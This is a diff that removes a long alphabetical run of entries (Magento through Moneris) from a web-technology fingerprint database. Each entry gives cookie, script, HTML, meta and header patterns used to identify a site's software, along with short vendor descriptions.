- }, - "MageWorx Search Autocomplete": { - "description": "MageWorx Search Autocomplete extension offers an AJAX-based popup window that displays and updates relevant search results while a customer forms his or her query.", - "website": "https://github.com/mageworx/search-suite-autocomplete" - }, - "Magento": { - "cookies": { - "frontend": "\\;confidence:50", - "mage-cache-storage": "", - "mage-cache-storage-section-invalidation": "", - "mage-translation-file-version": "", - "mage-translation-storage": "", - "x-magento-vary": "" - }, - "js": [ - "mage", - "varienform" - ], - "implies": [ - "PHP", - "MySQL" - ], - "description": "Magento is an open-source ecommerce platform written in PHP.", - "website": "https://magento.com" - }, - "Magewire": { - "js": [ - "magewire.connection-author", - "magewire" - ], - "implies": [ - "Laravel", - "Livewire" - ], - "description": "Magewire is a Laravel Livewire port for Magento 2.", - "website": "https://github.com/magewirephp/magewire" - }, - "Magisto": { - "js": [ - "magistoplayerframe", - "magisto_server" - ], - "description": "Magisto is a video management solution designed to help marketing professionals, agencies, and businesses of all sizes.", - "website": "https://www.magisto.com" - }, - "MailChimp": { - "html": [ - "\u003cform [^\u003e]*data-mailchimp-url", - "\u003cform [^\u003e]*id=\"mc-embedded-subscribe-form\"", - "\u003cform [^\u003e]*name=\"mc-embedded-subscribe-form\"", - "\u003cinput [^\u003e]*id=\"mc-email\"\\;confidence:20", - "\u003c!-- begin mailchimp signup form --\u003e" - ], - "description": "Mailchimp is a marketing automation platform and email marketing service.", - "website": "http://mailchimp.com" - }, - "MailChimp for WooCommerce": { - "implies": [ - "MailChimp" - ], - "description": "MailChimp for WooCommerce gives you the ability to automatically sync customer purchase data to your MailChimp account.", - "website": "https://mailchimp.com/integrations/woocommerce" - }, - "MailChimp for WordPress": { - "js": [ - "mc4wp" - ], - "implies": [ - "MailChimp" - ], - "description": "MailChimp for WordPress is an email marketing plugin that enables you to build subscriber lists.", - "website": "https://www.mc4wp.com" - }, - "MailerLite": { - "js": [ - "mailerliteobject" - ], - "description": "MailerLite is an email marketing tool and website builder for businesses of all shapes and sizes.", - "website": "https://www.mailerlite.com" - }, - "MailerLite Website Builder": { - "description": "MailerLite Website Builder is a free drag \u0026 drop website builder with interactive blocks and ecommerce integrations.", - "website": "https://www.mailerlite.com/features/website-builder" - }, - "MailerLite plugin": { - "implies": [ - "MailerLite" - ], - "description": "The official MailerLite signup forms plugin makes it easy to grow your newsletter subscriber list from your WordPress blog or website. The plugin automatically integrates your WordPress form with your MailerLite email marketing account.", - "website": "https://ru.wordpress.org/plugins/official-mailerlite-sign-up-forms/" - }, - "Mailgun": { - "description": "Mailgun is a transactional email API service for developers.", - "website": "https://www.mailgun.com/" - }, - "Mailjet": { - "description": "Mailjet is an email delivery service for marketing and developer teams.", - "website": "https://www.mailjet.com/" - }, - "Mailman": { - "implies": [ - "Python" - ], - "description": "Mailman is free software for managing electronic mail discussion and e-newsletter lists. Mailman is integrated with the web, making it easy for users to manage their accounts and for list owners to administer their lists. Mailman supports built-in archiving, automatic bounce processing, content filtering, digest delivery, spam filters, and more.", - "website": "http://list.org" - }, - "Mailmunch": { - "js": [ - "mailmunchwidgets", - "mailmunch" - ], - "description": "Mailmunch is a lead generation tool that combines landing pages, forms, and email marketing.", - "website": "https://www.mailmunch.com" - }, - "MainAd": { - "description": "MainAd is an international advertising technology company specialising in real-time bidding and programmatic ad retargeting.", - "website": "https://www.mainad.com" - }, - "Make-Sense": { - "website": "https://mk-sense.com/" - }, - "MakeShop": { - "js": [ - "makeshop_topsearch", - "makeshop_ga_gtag" - ], - "description": "MakeShop is a Japanese ecommerce platform.", - "website": "https://www.makeshop.jp" - }, - "MakeShopKorea": { - "js": [ - "makeshoploguniqueid", - "makeshop" - ], - "description": "MakeShopKorea is a Korean hosting brand that focuses on building ecommerce stores.", - "website": "https://www.makeshop.co.kr" - }, - "Malomo": { - "js": [ - "malomo" - ], - "description": "Malomo is a cloud-based shipment tracking solution that helps small to midsize eCommerce businesses provide customers with shipping updates via white-label package tracking pages.", - "website": "https://gomalomo.com" - }, - "Mambo": { - "meta": { - "generator": [ - "mambo" - ] - }, - "website": "http://mambo-foundation.org" - }, - "Mangeznotez": { - "description": "Mangeznotez is a restaurant table booking widget.", - "website": "https://www.mangeznotez.com" - }, - "Mantine": { - "implies": [ - "TypeScript" - ], - "description": "Mantine is a React components library.", - "website": "https://mantine.dev" - }, - "MantisBT": { - "html": [ - "\u003cimg[^\u003e]+ alt=\"powered by mantis bugtracker" - ], - "implies": [ - "PHP" - ], - "website": "http://www.mantisbt.org" - }, - "ManyChat": { - "js": [ - "mcwidget" - ], - "description": "ManyChat is a service that allows you to create chatbots for Facebook Messenger.", - "website": "https://manychat.com/" - }, - "ManyContacts": { - "description": "ManyContacts is an attention-grabbing contact form sitting on top of your website that helps to increase conversion by converting visitors into leads.", - "website": "https://www.manycontacts.com" - }, - "MapLibre GL JS": { - "js": [ - "rmap2.maplibreglcompare", - "apex.libversions.maplibre", - "maplibregl" - ], - "description": "MapLibre GL JS is an open-source library for publishing maps on your websites.", - "website": "https://github.com/maplibre/maplibre-gl-js" - }, - "Mapbox GL JS": { - "js": [ - "mapboxgl.version" - ], - "description": "Mapbox GL JS is a JavaScript library that uses WebGL to render interactive maps from vector tiles and Mapbox styles.", - "website": "https://github.com/mapbox/mapbox-gl-js" - }, - "Mapp": { - "js": [ - "webtrekkheatmapobjects", - "webtrekklinktrackobjects", - "webtrekkunloadobjects", - "webtrekkv3", - "wtsmart", - "wt_ttv2", - "webtrekkv3", - "webtrekk", - "webtrekkconfig", - "wt_tt" - ], - "description": "Mapp is designed specifically to help consumer-facing brands run highly personalised, cross-channel marketing campaigns powered by real-time customer data and generated insights.", - "website": "https://mapp.com" - }, - "Mapplic": { - "description": "Mapplic is a plugin for creating interactive maps based on simple image (jpg, png) or vector (svg) files.", - "website": "https://mapplic.com" - }, - "Maptalks": { - "js": [ - "map._eventmap", - "maptalks.geojson" - ], - "description": "Maptalks is a light and plugable JavaScript library for integrated 2D/3D maps.", - "website": "https://maptalks.org" - }, - "Marchex": { - "description": "Marchex is a B2B call and conversational analytics company.", - "website": "https://www.marchex.com" - }, - "Marfeel": { - "js": [ - "marfeel" - ], - "description": "Marfeel is a publisher platform that allows publishers to create, optimise and monetise their mobile websites.", - "website": "https://www.marfeel.com" - }, - "MariaDB": { - "description": "MariaDB is an open-source relational database management system compatible with MySQL.", - "website": "https://mariadb.org" - }, - "Marionette.js": { - "js": [ - "marionette", - "marionette.version" - ], - "implies": [ - "Underscore.js", - "Backbone.js" - ], - "description": "Marionette is a composite application library for Backbone.js that aims to simplify the construction of large scale JavaScript applications. It is a collection of common design and implementation patterns found in applications.", - "website": "https://marionettejs.com" - }, - "Marked": { - "js": [ - "marked" - ], - "website": "https://marked.js.org" - }, - "Marker": { - "js": [ - "markerconfig" - ], - "description": "Marker.io is an issue tracker solution for Project Managers, QA Testers and Agency Clients to report feedback \u0026 bugs to developers.", - "website": "https://marker.io" - }, - "Marketo": { - "js": [ - "munchkin" - ], - "description": "Marketo develops and sells marketing automation software for account-based marketing and other marketing services and products including SEO and content creation.", - "website": "https://www.marketo.com" - }, - "Marketo Forms": { - "js": [ - "formatmarketoform" - ], - "description": "Marketo Forms help create web forms without programming knowledge. Forms can reside on Marketo landing pages and also be embedded on any page of website.", - "website": "https://www.marketo.com" - }, - "Marketpath CMS": { - "cookies": { - "_mp_permissions": "^session\\^" - }, - "implies": [ - "Azure", - "ZURB Foundation" - ], - "description": "Marketpath CMS is a hosted website content management system used by businesses, churches and schools.", - "website": "https://www.marketpath.com" - }, - "Marko": { - "js": [ - "markosections", - "markovars", - "markocomponent" - ], - "implies": [ - "Node.js" - ], - "description": "Marko is HTML re-imagined as a language for building dynamic and reactive user interfaces.", - "website": "https://markojs.com" - }, - "Master Slider": { - "js": [ - "masterslider", - "masterslider.version" - ], - "description": "Master Slider is an SEO friendly, responsive image and video slider.", - "website": "https://www.masterslider.com" - }, - "Master Slider Plugin": { - "implies": [ - "Master Slider" - ], - "description": "Master Slider Plugin is an SEO friendly, responsive image and video slider plugin for WordPress.", - "website": "https://wordpress.org/plugins/master-slider" - }, - "Mastercard": { - "description": "MasterCard facilitates electronic funds transfers throughout the world, most commonly through branded credit cards, debit cards and prepaid cards.", - "website": "https://www.mastercard.com" - }, - "MasterkinG32 Framework": { - "headers": { - "x-powered-framework": "masterking(?:)" - }, - "meta": { - "generator": [ - "^masterking(?:)" - ] - }, - "description": "MasterkinG32 framework.", - "website": "https://masterking32.com" - }, - "Mastodon": { - "cookies": { - "_mastodon_session": "" - }, - "headers": { - "server": "^mastodon$" - }, - "description": "Mastodon is a free and open-source self-hosted social networking service.", - "website": "https://joinmastodon.org" - }, - "Matajer": { - "description": "Matajer is an ecommerce platform from Saudi Arabia.", - "website": "https://mapp.sa" - }, - "Material Design Lite": { - "js": [ - "materialicontoggle" - ], - "html": [ - "\u003clink[^\u003e]* href=\"[^\"]*material(?:\\.[\\w]+-[\\w]+)?(?:\\.min)?\\.css" - ], - "description": "Material Design Lite is a library of components for web developers.", - "website": "https://getmdl.io" - }, - "Materialize CSS": { - "description": "Materialize CSS is a front-end framework that helps developers create responsive and mobile-first web applications. It is based on Google's Material Design guidelines.", - "website": "http://materializecss.com" - }, - "MathJax": { - "js": [ - "mathjax", - "mathjax.version" - ], - "description": "MathJax is a cross-browser JavaScript library that displays mathematical notation in web browsers, using MathML, LaTeX and ASCIIMathML markup.", - "website": "https://www.mathjax.org" - }, - "Matomo Analytics": { - "cookies": { - "piwik_sessid": "" - }, - "js": [ - "matomo", - "piwik", - "_paq" - ], - "meta": { - "apple-itunes-app": [ - "app-id=737216887" - ], - "generator": [ - "(?:matomo|piwik) - open source web analytics" - ], - "google-play-app": [ - "app-id=org\\.piwik\\.mobile2" - ] - }, - "description": "Matomo Analytics is a free and open-source web analytics application, that runs on a PHP/MySQL web-server.", - "website": "https://matomo.org" - }, - "Matomo Tag Manager": { - "js": [ - "matomotagmanager" - ], - "description": "Matomo Tag Manager manages tracking and marketing tags.", - "website": "https://developer.matomo.org/guides/tagmanager/introduction" - }, - "Mattermost": { - "js": [ - "mm_user", - "mm_config", - "mm_current_user_id", - "mm_license" - ], - "html": [ - "\u003cnoscript\u003e to use mattermost, please enable javascript\\. \u003c/noscript\u003e" - ], - "implies": [ - "Go", - "React" - ], - "website": "https://about.mattermost.com" - }, - "Mautic": { - "js": [ - "mautictrackingobject" - ], - "description": "Mautic is a free and open-source marketing automation tool for Content Management, Social Media, Email Marketing, and can be used for the integration of social networks, campaign management, forms, questionnaires, reports, etc.", - "website": "https://www.mautic.org/" - }, - "Mavo": { - "js": [ - "mavo", - "mavo.version" - ], - "description": "Mavo is a JavaScript library that enables web developers to turn regular HTML into reactive web applications without the need for writing custom JavaScript.", - "website": "https://mavo.io" - }, - "MaxCDN": { - "headers": { - "server": "^netdna", - "x-cdn-forward": "^maxcdn$" - }, - "description": "MaxCDN is a content delivery network, which accelerates web-sites and decreases the server load.", - "website": "http://www.maxcdn.com" - }, - "MaxMind": { - "description": "MaxMind is a provider of geolocation and online fraud detection tools.", - "website": "https://www.maxmind.com" - }, - "MaxSite CMS": { - "meta": { - "generator": [ - "maxsite cms" - ] - }, - "implies": [ - "PHP" - ], - "website": "http://max-3000.com" - }, - "Maxemail": { - "js": [ - "mxm.basket", - "mxm.formhandler", - "mxm.tracker" - ], - "website": "https://maxemail.xtremepush.com" - }, - "MaxenceDEVCMS": { - "meta": { - "author": [ - "^maxencedev$" - ] - }, - "implies": [ - "PHP", - "MySQL" - ], - "description": "MaxenceDEVCMS is a simple CMS for ecommerce, esport, landing page.", - "website": "https://cms.maxencedev.fr" - }, - "Measured": { - "description": "Measured is an analytics platform to measure efficiency of marketing channels.", - "website": "https://www.measured.com" - }, - "Medallia": { - "cookies": { - "k_visit": "" - }, - "js": [ - "kampyle", - "kampyle_common", - "k_track" - ], - "description": "Medallia (formerly Kampyle) is a complete customer feedback platform that helps digital enterprises listen, understand, and act across all digital touch-points.", - "website": "https://www.medallia.com" - }, - "Media.net": { - "description": "Media.net is an advertising company focused on providing monetization products to digital publishers.", - "website": "https://www.media.net" - }, - "MediaElement.js": { - "js": [ - "mejs", - "mejs.version" - ], - "description": "MediaElement.js is a set of custom Flash plugins that mimic the HTML5 MediaElement API for browsers that don't support HTML5 or don't support the media codecs.", - "website": "http://www.mediaelementjs.com" - }, - "MediaWiki": { - "js": [ - "wgversion", - "mw.util.toggletoc", - "wgtitle" - ], - "html": [ - "\u003cbody[^\u003e]+class=\"mediawiki\"", - "\u003c(?:a|img)[^\u003e]+\u003epowered by mediawiki\u003c/a\u003e", - "\u003ca[^\u003e]+/special:whatlinkshere/" - ], - "meta": { - "generator": [ - "^mediawiki ?(.+)$\\;version:\\1" - ] - }, - "implies": [ - "PHP" - ], - "description": "MediaWiki is a free and open-source wiki engine.", - "website": "https://www.mediawiki.org" - }, - "Mediavine": { - "cookies": { - "mediavine_session": "" - }, - "js": [ - "$mediavine.web" - ], - "description": "Mediavine is a full service ad management platform.", - "website": "https://www.mediavine.com" - }, - "Medium": { - "headers": { - "x-powered-by": "^medium$" - }, - "implies": [ - "Node.js" - ], - "description": "Medium is an online publishing platform.", - "website": "https://medium.com" - }, - "Meebo": { - "html": [ - "(?:\u003ciframe id=\"meebo-iframe\"|meebo\\('domready'\\))" - ], - "website": "http://www.meebo.com" - }, - "Meeting Scheduler": { - "description": "Meeting Scheduler is a schedule appointments widget.", - "website": "https://bookmenow.info" - }, - "Megagroup CMS.S3": { - "js": [ - "megacounter_key" - ], - "description": "Megagroup CMS.S3 management system is provided not as a “boxed product”, but as a separate service, that is, it works using SaaS technology. This means that you manage your site directly through your browser using an intuitive interface.", - "website": "https://megagroup.ru/cms" - }, - "Meilisearch": { - "js": [ - "meilisearch", - "meilisearchapierror", - "meilisearchtimeouterror", - "ac_apsulis_meilisearch", - "instantmeilisearch" - ], - "description": "Meilisearch is a search engine created by Meili, a software development company based in France.", - "website": "https://www.meilisearch.com" - }, - "Melis Platform": { - "html": [ - "\u003c!-- rendered with melis cms v2", - "\u003c!-- rendered with melis platform" - ], - "meta": { - "generator": [ - "^melis platform\\." - ], - "powered-by": [ - "^melis cms\\." - ] - }, - "implies": [ - "Apache HTTP Server", - "PHP", - "MySQL", - "Symfony", - "Laravel", - "Zend" - ], - "website": "https://www.melistechnology.com/" - }, - "MemberStack": { - "cookies": { - "memberstack": "" - }, - "js": [ - "memberstack" - ], - "description": "MemberStack is a no-code membership platform for Webflow.", - "website": "https://www.memberstack.io" - }, - "Mention Me": { - "js": [ - "mentionme" - ], - "description": "Mention Me is a referral marketing platform for conversion-obsessed ecommerce brands.", - "website": "https://www.mention-me.com" - }, - "Menufy Online Ordering": { - "description": "Menufy is an online and mobile meal ordering service.", - "website": "https://restaurant.menufy.com" - }, - "Menufy Website": { - "js": [ - "views_website_layouts_footer_menufy" - ], - "description": "Menufy is an online and mobile meal ordering service.", - "website": "https://restaurant.menufy.com" - }, - "Mercado Shops": { - "cookies": { - "_mshops_ga_gid": "" - }, - "description": "Mercado Shops is an all-in-one ecommerce platform.", - "website": "https://www.mercadoshops.com" - }, - "Mermaid": { - "js": [ - "mermaid" - ], - "html": [ - "\u003cdiv [^\u003e]*class=[\"']mermaid[\"']\u003e\\;confidence:90" - ], - "website": "https://mermaidjs.github.io/" - }, - "MetaSlider": { - "description": "MetaSlider is a WordPress plugin for adding responsive sliders and carousels to websites.", - "website": "https://www.metaslider.com" - }, - "Meteor": { - "js": [ - "meteor", - "meteor.release" - ], - "html": [ - "\u003clink[^\u003e]+__meteor-css__" - ], - "implies": [ - "MongoDB", - "Node.js" - ], - "website": "https://www.meteor.com" - }, - "Methode": { - "html": [ - "\u003c!-- methode uuid: \"[a-f\\d]+\" ?--\u003e" - ], - "meta": { - "eomportal-id": [ - "\\d+" - ], - "eomportal-instanceid": [ - "\\d+" - ], - "eomportal-lastupdate": [], - "eomportal-loid": [ - "[\\d.]+" - ], - "eomportal-uuid": [ - "[a-f\\d]+" - ] - }, - "website": "https://www.eidosmedia.com/" - }, - "Metomic": { - "website": "https://metomic.io" - }, - "Metrilo": { - "js": [ - "metrilo", - "metrilobotregexp", - "metrilocookie" - ], - "description": "Metrilo is an ecommerce analytics, email marketing software provider.", - "website": "https://www.metrilo.com" - }, - "MetroUI": { - "js": [ - "metro.version" - ], - "description": "MetroUI is an open-source frontend toolkit inspired by Microsoft Fluent (former Metro) design principles.", - "website": "https://github.com/olton/Metro-UI-CSS" - }, - "Mews": { - "js": [ - "mews" - ], - "description": "Mews is a hospitalitions service that enables hotels to track their bookings.", - "website": "https://www.mews.com" - }, - "Microsoft 365": { - "description": "Microsoft 365 is a line of subscription services offered by Microsoft as part of the Microsoft Office product line.", - "website": "https://www.microsoft.com/microsoft-365" - }, - "Microsoft ASP.NET": { - "cookies": { - "asp.net_sessionid": "", - "aspsession": "" - }, - "headers": { - "set-cookie": "\\.aspnetcore", - "x-aspnet-version": "(.+)\\;version:\\1", - "x-powered-by": "^asp\\.net" - }, - "html": [ - "\u003cinput[^\u003e]+name=\"__viewstate" - ], - "description": "ASP.NET is an open-source, server-side web-application framework designed for web development to produce dynamic web pages.", - "website": "https://www.asp.net" - }, - "Microsoft Advertising": { - "cookies": { - "_uetsid": "\\w+", - "_uetvid": "\\w+" - }, - "js": [ - "uet", - "uetq" - ], - "description": "Microsoft Advertising is an online advertising platform developed by Microsoft.", - "website": "https://ads.microsoft.com" - }, - "Microsoft Ajax Content Delivery Network": { - "description": "Microsoft Ajax Content Delivery Network hosts popular third party JavaScript libraries such as jQuery and enables you to easily add them to your web applications.", - "website": "https://docs.microsoft.com/en-us/aspnet/ajax/cdn/overview" - }, - "Microsoft Application Insights": { - "js": [ - "appinsights.severitylevel", - "appinsights.addtelemetryinitializer", - "appinsightssdk" - ], - "description": "Microsoft Application Insights is a feature of Azure Monitor that provides extensible application performance management (APM) and monitoring for live web apps.", - "website": "https://docs.microsoft.com/en-us/azure/azure-monitor/app/app-insights-overview" - }, - "Microsoft Authentication": { - "js": [ - "msalconfig.auth", - "msal.authority", - "msal.authorityinstance" - ], - "description": "The Microsoft Authentication Library for JavaScript enables both client-side and server-side JavaScript applications to authenticate users using Azure AD for work and school accounts (AAD), Microsoft personal accounts (MSA), and social identity providers like Facebook, Google, LinkedIn, Microsoft accounts, etc. through Azure AD B2C service.", - "website": "https://github.com/AzureAD/microsoft-authentication-library-for-js" - }, - "Microsoft Clarity": { - "js": [ - "clarity" - ], - "description": "Microsoft's Clarity is a analytics tool which provides website usage statistics, session recording, and heatmaps.", - "website": "https://clarity.microsoft.com" - }, - "Microsoft Dynamics 365 Commerce": { - "description": "Microsoft Dynamics 365 Commerce, an omnichannel ecommerce solution that allows you to build a website, connect physical and digital stores, track customer behaviours and requirements, deliver personalised experiences.", - "website": "https://dynamics.microsoft.com/commerce/overview" - }, - "Microsoft Excel": { - "html": [ - "(?:\u003chtml [^\u003e]*xmlns:w=\"urn:schemas-microsoft-com:office:excel\"|\u003c!--\\s*(?:start|end) of output from excel publish as web page wizard\\s*--\u003e|\u003cdiv [^\u003e]*x:publishsource=\"?excel\"?)" - ], - "meta": { - "generator": [ - "microsoft excel( [\\d.]+)?\\;version:\\1" - ], - "progid": [ - "^excel\\." - ] - }, - "description": "Microsoft Excel is an electronic spreadsheet program used for storing, organizing, and manipulating data.", - "website": "https://office.microsoft.com/excel" - }, - "Microsoft HTTPAPI": { - "headers": { - "server": "microsoft-httpapi(?:/([\\d.]+))?\\;version:\\1" - }, - "website": "http://microsoft.com" - }, - "Microsoft PowerPoint": { - "html": [ - "(?:\u003chtml [^\u003e]*xmlns:w=\"urn:schemas-microsoft-com:office:powerpoint\"|\u003clink rel=\"?presentation-xml\"? href=\"?[^\"]+\\.xml\"?\u003e|\u003co:presentationformat\u003e[^\u003c]+\u003c/o:presentationformat\u003e[^!]+\u003co:slides\u003e\\d+\u003c/o:slides\u003e(?:[^!]+\u003co:version\u003e([\\d.]+)\u003c/o:version\u003e)?)\\;version:\\1" - ], - "meta": { - "generator": [ - "microsoft powerpoint ( [\\d.]+)?\\;version:\\1" - ], - "progid": [ - "^powerpoint\\." - ] - }, - "description": "Microsoft PowerPoint is a tool to create presentations using simple drag and drop tools.", - "website": "https://office.microsoft.com/powerpoint" - }, - "Microsoft Publisher": { - "html": [ - "(?:\u003chtml [^\u003e]*xmlns:w=\"urn:schemas-microsoft-com:office:publisher\"|\u003c!--[if pub]\u003e\u003cxml\u003e)" - ], - "meta": { - "generator": [ - "microsoft publisher( [\\d.]+)?\\;version:\\1" - ], - "progid": [ - "^publisher\\." - ] - }, - "description": "Microsoft Publisher is an application that allows you to create professional documents such as newsletters, postcards, flyers, invitations, brochures.", - "website": "https://office.microsoft.com/publisher" - }, - "Microsoft SharePoint": { - "js": [ - "spdesignerprogid", - "_spbodyonloadcalled" - ], - "headers": { - "microsoftsharepointteamservices": "^(.+)$\\;version:\\1", - "sharepointhealthscore": "", - "sprequestguid": "", - "x-sharepointhealthscore": "" - }, - "meta": { - "generator": [ - "microsoft sharepoint" - ] - }, - "description": "SharePoint is a cloud-based collaborative platform to manage and share content.", - "website": "https://sharepoint.microsoft.com" - }, - "Microsoft Visual Studio": { - "meta": { - "generator": [ - "^microsoft\\svisual\\sstudio" - ] - }, - "description": "Microsoft Visual Studio is an integrated development environment from Microsoft.", - "website": "https://visualstudio.microsoft.com" - }, - "Microsoft Word": { - "html": [ - "(?:\u003chtml [^\u003e]*xmlns:w=\"urn:schemas-microsoft-com:office:word\"|\u003cw:worddocument\u003e|\u003cdiv [^\u003e]*class=\"?wordsection1[\" \u003e]|\u003cstyle[^\u003e]*\u003e[^\u003e]*@page wordsection1)" - ], - "meta": { - "generator": [ - "microsoft word( [\\d.]+)?\\;version:\\1" - ], - "progid": [ - "^word\\." - ] - }, - "description": "MS Word is a word-processing program used primarily for creating documents.", - "website": "https://office.microsoft.com/word" - }, - "Miestro": { - "meta": { - "base_url": [ - ".+\\.miestro\\.com" - ] - }, - "description": "Miestro is an all-in-one ecommerce platform wich allow create online course and membership sites.", - "website": "https://miestro.com" - }, - "Milestone CMS": { - "meta": { - "generator": [ - "^milestone\\scms\\s([\\d\\.]+)$\\;version:\\1" - ] - }, - "implies": [ - "Microsoft ASP.NET" - ], - "description": "Milestone CMS is a SEO-first CMS that offers built-in advanced schema markups and Core Web Vitals conformance for improved search performance.", - "website": "https://www.milestoneinternet.com/products/milestone-cms" - }, - "Milligram": { - "html": [ - "\u003clink[^\u003e]+?href=\"[^\"]+milligram(?:\\.min)?\\.css" - ], - "website": "https://milligram.io" - }, - "MinMaxify": { - "js": [ - "minmaxify.checklimits", - "minmaxify.shop" - ], - "implies": [ - "Shopify" - ], - "description": "MinMaxify is an app that allows Shopify store owners to set minimum and maximum values for customer orders built by Intillium.", - "website": "https://apps.shopify.com/order-limits-minmaxify" - }, - "MindBody": { - "js": [ - "healcodewidget" - ], - "description": "Mindbody is a (SaaS) company that provides cloud-based online scheduling and other business management software for the wellness services industry.", - "website": "https://www.mindbodyonline.com" - }, - "Mindbox": { - "js": [ - "mindboxendpointsettings", - "mindbox", - "mindboxbatchedmodulesinitialized" - ], - "description": "Mindbox is a marketing automation platform.", - "website": "https://mindbox.ru" - }, - "Minero.cc": { - "description": "Minero.cc is a bot that helps run crypto mining application.", - "website": "http://minero.cc/" - }, - "MiniServ": { - "headers": { - "server": "miniserv/([\\d\\.]+)\\;version:\\1" - }, - "implies": [ - "Webmin" - ], - "website": "https://github.com/webmin/webmin/blob/master/miniserv.pl" - }, - "Mint": { - "js": [ - "mint" - ], - "description": "Mint is an extensible, self-hosted web site analytics program.", - "website": "https://haveamint.com" - }, - "Mintlify": { - "js": [ - "__next_data__.props.pageprops.favicons.browserconfig" - ], - "description": "Mintlify is a platform that enables developers to create and maintain documentation for their projects using Markdown format and automatically generate and deploy static websites via a continuous integration and deployment system.", - "website": "https://mintlify.com" - }, - "Miso": { - "description": "Miso is a real-time personalisation APIs for search, recommendation, and marketing.", - "website": "https://miso.ai" - }, - "Misskey": { - "html": [ - "\u003c!-- thank you for using misskey! @syuilo --\u003e" - ], - "meta": { - "application-name": [ - "misskey" - ] - }, - "description": "Misskey is a distributed microblogging platform.", - "website": "https://join.misskey.page/" - }, - "Mittwald": { - "description": "Mittwald is a web hosting agency, established in 2003 in Espelkamp, Germany", - "website": "https://www.mittwald.de" - }, - "Miva": { - "js": [ - "mivajs.product_code", - "mivajs.product_id", - "mivajs.screen", - "mivajs.store_code", - "mivavm_api", - "mivavm_version", - "mivajs", - "mivajs.page" - ], - "headers": { - "content-disposition": "filename=(?:mvga\\.js|mivaevents\\.js)" - }, - "description": "Miva is a privately owned ecommerce shopping cart software and hosting company with headquarters in San Diego.", - "website": "http://www.miva.com" - }, - "Mixin": { - "meta": { - "mixin_hash_id": [] - }, - "description": "Mixin is a highly-available ecommerce cloud.", - "website": "https://mixin.ir" - }, - "Mixpanel": { - "js": [ - "mixpanel" - ], - "description": "Mixpanel provides a business analytics service. It tracks user interactions with web and mobile applications and provides tools for targeted communication with them. Its toolset contains in-app A/B tests and user survey forms.", - "website": "https://mixpanel.com" - }, - "MizbanCloud": { - "headers": { - "server": "^mizbancloud$" - }, - "description": "MizbanCloud is a total cloud infrastructure solutions, CDN service provider and Cloud Computing Services, Cloud DNS, Cloud Security, VoD Streaming Service, Live Streaming, Cloud Object Storage.", - "website": "https://mizbancloud.com" - }, - "MkDocs": { - "meta": { - "generator": [ - "^mkdocs-([\\d.]+)\\;version:\\1" - ] - }, - "implies": [ - "Python" - ], - "description": "MkDocs is a static site generator, used for building project documentation.", - "website": "http://www.mkdocs.org/" - }, - "MoEngage": { - "js": [ - "moengage_object", - "moengage_api_key", - "moengage", - "downloadmoengage" - ], - "description": "MoEngage is an intelligent customer engagement platform for the customer-obsessed marketer.", - "website": "https://www.moengage.com" - }, - "Moat": { - "description": "Moat is a digital ad analytics tool.", - "website": "https://moat.com/" - }, - "MobX": { - "js": [ - "__mobxinstancecount", - "__mobxglobal", - "__mobxglobals" - ], - "website": "https://mobx.js.org" - }, - "Mobify": { - "js": [ - "mobify" - ], - "headers": { - "x-powered-by": "mobify" - }, - "description": "Mobify is a web storefront platform for headless commerce.", - "website": "https://www.mobify.com" - }, - "Mobirise": { - "html": [ - "\u003c!-- site made with mobirise website builder v([\\d.]+)\\;version:\\1" - ], - "meta": { - "generator": [ - "^mobirise v([\\d.]+)\\;version:\\1" - ] - }, - "description": "Mobirise is a free offline app for Windows and Mac to easily create small/medium websites, landing pages, online resumes and portfolios.", - "website": "https://mobirise.com" - }, - "MochiKit": { - "js": [ - "mochikit", - "mochikit.mochikit.version" - ], - "website": "https://mochi.github.io/mochikit/" - }, - "MochiWeb": { - "headers": { - "server": "mochiweb(?:/([\\d.]+))?\\;version:\\1" - }, - "website": "https://github.com/mochi/mochiweb" - }, - "Modernizr": { - "js": [ - "modernizr._version" - ], - "description": "Modernizr is a JavaScript library that detects the features available in a user's browser.", - "website": "https://modernizr.com" - }, - "ModiFace": { - "js": [ - "initmodiface" - ], - "headers": { - "content-security-policy": "\\.modiface\\.com" - }, - "description": "ModiFace is a provider of Augmented Reality technology for the beauty industry.", - "website": "https://modiface.com" - }, - "Modified": { - "meta": { - "generator": [ - "\\(c\\) by modified ecommerce shopsoftware ------ http://www\\.modified-shop\\.org" - ] - }, - "website": "http://www.modified-shop.org/" - }, - "Module Federation": { - "implies": [ - "Webpack" - ], - "description": "Module Federation is a webpack technology for dynamically loading parts of other independently deployed builds.", - "website": "https://webpack.js.org/concepts/module-federation/" - }, - "Moguta.CMS": { - "html": [ - "\u003clink[^\u003e]+href=[\"'][^\"]+mg-(?:core|plugins|templates)/" - ], - "implies": [ - "PHP" - ], - "website": "https://moguta.ru" - }, - "MoinMoin": { - "cookies": { - "moin_session": "" - }, - "js": [ - "show_switch2gui" - ], - "implies": [ - "Python" - ], - "description": "MoinMoin is a wiki engine implemented in Python.", - "website": "https://moinmo.in" - }, - "Mojolicious": { - "headers": { - "server": "^mojolicious", - "x-powered-by": "mojolicious" - }, - "implies": [ - "Perl" - ], - "website": "http://mojolicio.us" - }, - "Mokka": { - "description": "Mokka is a Buy Now Pay Later solution that connects target customer acquisition and settlement costs through marketing and promotion.", - "website": "https://mokka.ro" - }, - "Mollie": { - "js": [ - "mollie" - ], - "description": "Mollie is a payment provider for Belgium and the Netherlands, offering payment methods such as credit card, iDEAL, Bancontact/Mister cash, PayPal, SCT, SDD, and others.", - "website": "https://www.mollie.com" - }, - "Mollom": { - "html": [ - "\u003cimg[^\u003e]+\\.mollom\\.com" - ], - "website": "http://mollom.com" - }, - "Moment Timezone": { - "implies": [ - "Moment.js" - ], - "website": "http://momentjs.com/timezone/" - }, - "Moment.js": { - "js": [ - "moment", - "moment.version" - ], - "description": "Moment.js is a free and open-source JavaScript library that removes the need to use the native JavaScript Date object directly.", - "website": "https://momentjs.com" - }, - "Monaco Editor": { - "js": [ - "monacoenvironment", - "apex.libversions.monacoeditor", - "monaco.editor" - ], - "css": [ - "\\.monaco-editor" - ], - "description": "Monaco Editor is the code editor that powers VS Code. Monaco Editor is a tool in the text editor category of a tech stack.", - "website": "https://microsoft.github.io/monaco-editor/" - }, - "Mondial Relay": { - "description": "Mondial Relay is a parcel shipping and delivery service in Europe.", - "website": "https://www.mondialrelay.com" - }, - "Mondo Media": { - "meta": { - "generator": [ - "mondo shop" - ] - }, - "website": "http://mondo-media.de" - }, - "Moneris": { - "js": [ - "initialserverdata.monerisconfiguration" - ], - "headers": { - "content-security-policy": "\\.moneris\\.com" - }, 